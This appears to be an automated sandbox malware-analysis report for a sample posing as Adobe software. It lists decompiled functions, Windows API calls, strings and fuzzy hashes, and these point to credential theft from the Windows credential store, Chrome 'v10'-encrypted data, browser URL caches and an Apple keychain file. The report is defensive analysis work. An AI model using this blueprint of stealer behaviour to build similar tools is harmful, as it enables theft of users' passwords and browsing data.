                                                                                                                              • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1355100292-0
                                                                                                                              • Opcode ID: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                              • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                                                              • Opcode Fuzzy Hash: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                              • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                                                              Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                                                              • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFind$FirstNext
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1690352074-0
                                                                                                                              • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                              • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                                                              • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                              • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                                                              Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0041898C
                                                                                                                              • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: InfoSystemmemset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3558857096-0
                                                                                                                              • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                              • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                                                              • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                              • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                                                              Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 43 44558e-445594 call 444b06 4->43 44 44557e-44558c call 4136c0 call 41366b 4->44 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 46 445823-445826 14->46 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 58 445879-44587c 18->58 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 77 445685 21->77 78 4456b2-4456b5 call 40b1ab 21->78 30 445605-445607 22->30 31 445603 22->31 28 4459f2-4459fa 23->28 29 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->29 140 44592d-445945 call 40b6ef 24->140 141 44594a 24->141 38 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 28->38 39 445b29-445b32 28->39 145 4459d0-4459e8 call 40b6ef 29->145 146 4459ed 29->146 30->21 42 445609-44560d 30->42 31->30 182 445b08-445b15 call 40ae51 38->182 47 445c7c-445c85 39->47 48 445b38-445b96 memset * 3 39->48 42->21 56 44560f-445641 call 4087b3 call 40a889 call 4454bf 42->56 43->3 44->43 49 44584c-445854 call 40b1ab 46->49 50 445828 46->50 70 445d1c-445d25 47->70 71 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 47->71 63 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 48->63 64 445b98-445ba0 48->64 49->13 65 44582e-445847 call 40a9b5 call 4087b3 50->65 156 445665-445670 call 40b1ab 56->156 157 445643-445663 call 40a9b5 call 4087b3 56->157 61 4458a2-4458aa call 40b1ab 58->61 62 44587e 58->62 61->19 75 445884-44589d call 40a9b5 call 4087b3 62->75 249 445c77 63->249 64->63 76 445ba2-445bcf call 4099c6 call 445403 call 445389 64->76 143 445849 65->143 82 445fae-445fb2 70->82 83 445d2b-445d3b 70->83 160 445cf5 71->160 161 445cfc-445d03 71->161 148 44589f 75->148 76->47 93 44568b-4456a4 call 40a9b5 call 4087b3 77->93 109 4456ba-4456c4 78->109 98 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 83->98 99 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 83->99 150 4456a9-4456b0 93->150 166 445d67-445d6c 98->166 167 445d71-445d83 call 445093 98->167 196 445e17 99->196 197 445e1e-445e25 99->197 122 4457f9 109->122 123 4456ca-4456d3 call 413cfa call 413d4c 109->123 122->6 174 4456d8-4456f7 call 40b2cc call 413fa6 123->174 140->141 141->23 143->49 145->146 146->28 148->61 150->78 150->93 156->109 157->156 160->161 171 445d05-445d13 161->171 172 445d17 161->172 176 445fa1-445fa9 call 40b6ef 166->176 167->82 171->172 172->70 207 4456fd-445796 memset * 4 call 409c70 * 3 174->207 208 4457ea-4457f7 call 413d29 174->208 176->82 202 445b17-445b27 call 40aebe 182->202 203 445aa3-445ab0 call 40add4 182->203 196->197 198 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->198 199 445e6b-445e7e call 445093 197->199 239 445e62-445e69 198->239 240 445e5b 198->240 220 445f67-445f99 call 40b2cc call 409d1f call 409b98 199->220 202->39 203->182 221 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 203->221 207->208 248 445798-4457ca call 40b2cc call 409d1f call 409b98 207->248 208->10 220->82 253 445f9b 220->253 221->182 239->199 245 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 239->245 240->239 265 445f4d-445f5a call 40ae51 245->265 248->208 264 4457cc-4457e5 call 4087b3 248->264 249->47 253->176 264->208 269 445ef7-445f04 call 40add4 265->269 270 445f5c-445f62 call 40aebe 265->270 269->265 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->220 274->265 281 445f3a-445f48 call 445093 274->281 281->265
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 004455C2
                                                                                                                              • wcsrchr.MSVCRT ref: 004455DA
                                                                                                                              • memset.MSVCRT ref: 0044570D
                                                                                                                              • memset.MSVCRT ref: 00445725
                                                                                                                                • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                                                                • Part of subcall function 0040BDB0: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                                                                • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                                                                • Part of subcall function 0040BDB0: wcsncmp.MSVCRT ref: 0040BE38
                                                                                                                                • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                                                                • Part of subcall function 0040BDB0: memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                                                                • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                                                              • memset.MSVCRT ref: 0044573D
                                                                                                                              • memset.MSVCRT ref: 00445755
                                                                                                                              • memset.MSVCRT ref: 004458CB
                                                                                                                              • memset.MSVCRT ref: 004458E3
                                                                                                                              • memset.MSVCRT ref: 0044596E
                                                                                                                              • memset.MSVCRT ref: 00445A10
                                                                                                                              • memset.MSVCRT ref: 00445A28
                                                                                                                              • memset.MSVCRT ref: 00445AC6
                                                                                                                                • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                                • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT(0000000A,?,?,00000104), ref: 004450BE
                                                                                                                                • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                                                                • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                                                                • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                                                              • memset.MSVCRT ref: 00445B52
                                                                                                                              • memset.MSVCRT ref: 00445B6A
                                                                                                                              • memset.MSVCRT ref: 00445C9B
                                                                                                                              • memset.MSVCRT ref: 00445CB3
                                                                                                                              • _wcsicmp.MSVCRT ref: 00445D56
                                                                                                                              • memset.MSVCRT ref: 00445B82
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                                • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                                                                • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                                                              • memset.MSVCRT ref: 00445986
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateCredEnumerateHandleProcSize_wcsicmp_wcslwrmemcpywcscatwcscpywcsncmp
                                                                                                                              • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                                                              • API String ID: 2263259095-3798722523
                                                                                                                              • Opcode ID: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                                                              • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                                                              • Opcode Fuzzy Hash: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                                                              • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                                                              Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                                • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                                • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                                • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                              • SetErrorMode.KERNELBASE(00008001), ref: 00412799
                                                                                                                              • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                                                                                                                              • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                                                              • String ID: $/deleteregkey$/savelangfile
                                                                                                                              • API String ID: 2744995895-28296030
                                                                                                                              • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                              • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                                                              • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                              • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                                                              Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0040B71C
                                                                                                                                • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                                                                • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                                                              • wcsrchr.MSVCRT ref: 0040B738
                                                                                                                              • memset.MSVCRT ref: 0040B756
                                                                                                                              • memset.MSVCRT ref: 0040B7F5
                                                                                                                              • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                              • CopyFileW.KERNEL32(00445FAE,?,00000000,?,?), ref: 0040B82D
                                                                                                                              • CloseHandle.KERNELBASE(00000000,?,?), ref: 0040B838
                                                                                                                              • memset.MSVCRT ref: 0040B851
                                                                                                                              • memset.MSVCRT ref: 0040B8CA
                                                                                                                              • memcmp.MSVCRT(?,v10,00000003), ref: 0040B9BF
                                                                                                                                • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                                                                • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                              • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                                                              • memset.MSVCRT ref: 0040BB53
                                                                                                                              • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 0040BB66
                                                                                                                              • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$File$Freewcsrchr$AddressCloseCopyCreateDeleteHandleLibraryLocalProcmemcmpmemcpywcscpy
                                                                                                                              • String ID: chp$v10
                                                                                                                              • API String ID: 4165125987-2783969131
                                                                                                                              • Opcode ID: aa7ff03ddb8a60b54c19e14ecab6b10a2ad5bd81823861da0c4d13f19dc0bdfc
                                                                                                                              • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                                                              • Opcode Fuzzy Hash: aa7ff03ddb8a60b54c19e14ecab6b10a2ad5bd81823861da0c4d13f19dc0bdfc
                                                                                                                              • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                                                              Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 504 40e2ab-40e2ce call 40695d call 406b90 508 40e2d3-40e2d5 504->508 509 40e4a0-40e4af call 4069a3 508->509 510 40e2db-40e300 508->510 511 40e304-40e316 call 406e8f 510->511 516 40e476-40e483 call 406b53 511->516 517 40e31c-40e39b call 40dd50 * 7 memset call 40aa29 511->517 523 40e302 516->523 524 40e489-40e495 call 40aa04 516->524 541 40e3c9-40e3ce 517->541 542 40e39d-40e3ae call 40742e 517->542 523->511 524->509 530 40e497-40e49f free 524->530 530->509 544 40e3d0-40e3d6 541->544 545 40e3d9-40e3de 541->545 549 40e3b0 542->549 550 40e3b3-40e3c1 wcschr 542->550 544->545 547 40e3e0-40e3f1 memcpy 545->547 548 40e3f4-40e3f9 545->548 547->548 551 40e3fb-40e40c memcpy 548->551 552 40e40f-40e414 548->552 549->550 550->541 553 40e3c3-40e3c6 550->553 551->552 554 40e416-40e427 memcpy 552->554 555 40e42a-40e42f 552->555 553->541 554->555 556 40e431-40e442 memcpy 555->556 557 40e445-40e44a 555->557 556->557 558 40e44c-40e45b 557->558 559 40e45e-40e463 557->559 558->559 559->516 560 40e465-40e469 559->560 560->516 561 40e46b-40e473 560->561 561->516
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                                • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                              • free.MSVCRT ref: 0040E49A
                                                                                                                                • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                              • memset.MSVCRT ref: 0040E380
                                                                                                                                • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                                • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                                                              • wcschr.MSVCRT ref: 0040E3B8
                                                                                                                              • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,74DF2EE0), ref: 0040E3EC
                                                                                                                              • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,74DF2EE0), ref: 0040E407
                                                                                                                              • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,74DF2EE0), ref: 0040E422
                                                                                                                              • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,74DF2EE0), ref: 0040E43D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                                                              • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                                                              • API String ID: 3849927982-2252543386
                                                                                                                              • Opcode ID: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                              • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                                                              • Opcode Fuzzy Hash: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                              • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                                                              Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 562 4091b8-40921b memset call 40a6e6 call 444432 567 409520-409526 562->567 568 409221-40923b call 40b273 call 438552 562->568 572 409240-409248 568->572 573 409383-4093ab call 40b273 call 438552 572->573 574 40924e-409258 call 4251c4 572->574 586 4093b1 573->586 587 4094ff-40950b call 443d90 573->587 579 40937b-40937e call 424f26 574->579 580 40925e-409291 call 4253cf * 2 call 4253af * 2 574->580 579->573 580->579 610 409297-409299 580->610 590 4093d3-4093dd call 4251c4 586->590 587->567 596 40950d-409511 587->596 597 4093b3-4093cc call 4253cf * 2 590->597 598 4093df 590->598 596->567 600 409513-40951d call 408f2f 596->600 597->590 613 4093ce-4093d1 597->613 601 4094f7-4094fa call 424f26 598->601 600->567 601->587 610->579 612 40929f-4092a3 610->612 612->579 614 4092a9-4092ba 612->614 613->590 615 4093e4-4093fb call 4253af * 2 613->615 616 4092bc 614->616 617 4092be-4092e3 memcpy memcmp 614->617 615->601 627 409401-409403 615->627 616->617 618 409333-409345 memcmp 617->618 619 4092e5-4092ec 617->619 618->579 622 409347-40935f memcpy 618->622 619->579 621 4092f2-409331 memcpy * 2 619->621 624 409363-409378 memcpy 621->624 622->624 624->579 627->601 628 409409-40941b memcmp 627->628 628->601 629 409421-409433 memcmp 628->629 630 4094a4-4094b6 memcmp 629->630 631 409435-40943c 629->631 630->601 633 4094b8-4094ed memcpy * 2 630->633 631->601 632 409442-4094a2 memcpy * 3 631->632 634 4094f4 632->634 633->634 634->601
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 004091E2
                                                                                                                                • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                              • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                              • memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                                                              • memcpy.MSVCRT(?,00000023,?), ref: 0040930C
                                                                                                                              • memcpy.MSVCRT(?,?,00000010), ref: 00409325
                                                                                                                              • memcmp.MSVCRT(00000000,0045A4E8,00000006), ref: 0040933B
                                                                                                                              • memcpy.MSVCRT(?,00000015,?), ref: 00409357
                                                                                                                              • memcpy.MSVCRT(?,?,00000010), ref: 00409370
                                                                                                                              • memcmp.MSVCRT(00000000,004599B8,00000010), ref: 00409411
                                                                                                                              • memcmp.MSVCRT(00000000,0045A500,00000006), ref: 00409429
                                                                                                                              • memcpy.MSVCRT(?,00000023,?), ref: 00409462
                                                                                                                              • memcpy.MSVCRT(?,?,00000010), ref: 0040947E
                                                                                                                              • memcpy.MSVCRT(?,?,00000020), ref: 0040949A
                                                                                                                              • memcmp.MSVCRT(00000000,0045A4F8,00000006), ref: 004094AC
                                                                                                                              • memcpy.MSVCRT(?,00000015,?), ref: 004094D0
                                                                                                                              • memcpy.MSVCRT(?,?,00000020), ref: 004094E8
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3715365532-3916222277
                                                                                                                              • Opcode ID: 84d8fa7e2563b014b86416b64341180d82413736d9254b8658418cb4f91a0b1c
                                                                                                                              • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                                                              • Opcode Fuzzy Hash: 84d8fa7e2563b014b86416b64341180d82413736d9254b8658418cb4f91a0b1c
                                                                                                                              • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                                                              Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 635 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 638 413f00-413f11 Process32NextW 635->638 639 413da5-413ded OpenProcess 638->639 640 413f17-413f24 CloseHandle 638->640 641 413eb0-413eb5 639->641 642 413df3-413e26 memset call 413f27 639->642 641->638 643 413eb7-413ebd 641->643 650 413e79-413e9d call 413959 call 413ca4 642->650 651 413e28-413e35 642->651 645 413ec8-413eda call 4099f4 643->645 646 413ebf-413ec6 free 643->646 648 413edb-413ee2 645->648 646->648 656 413ee4 648->656 657 413ee7-413efe 648->657 662 413ea2-413eae CloseHandle 650->662 654 413e61-413e68 651->654 655 413e37-413e44 GetModuleHandleW 651->655 654->650 658 413e6a-413e76 654->658 655->654 660 413e46-413e5c GetProcAddress 655->660 656->657 657->638 658->650 660->654 662->641
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00413D6A
                                                                                                                              • memset.MSVCRT ref: 00413D7F
                                                                                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                                                              • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                                                              • memset.MSVCRT ref: 00413E07
                                                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                                                              • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                                                              • CloseHandle.KERNEL32(?,?,?,?,00000000,?), ref: 00413EA8
                                                                                                                              • free.MSVCRT ref: 00413EC1
                                                                                                                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                                                              • CloseHandle.KERNEL32(00000000,00000000,0000022C), ref: 00413F1A
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Handle$CloseProcess32freememset$AddressCreateFirstModuleNextOpenProcProcessSnapshotToolhelp32
                                                                                                                              • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                                                              • API String ID: 1344430650-1740548384
                                                                                                                              • Opcode ID: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                              • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                                                              • Opcode Fuzzy Hash: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                              • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                                                              Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                                                                • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                                                                • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                                • Part of subcall function 0040DD85: CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                                                                • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
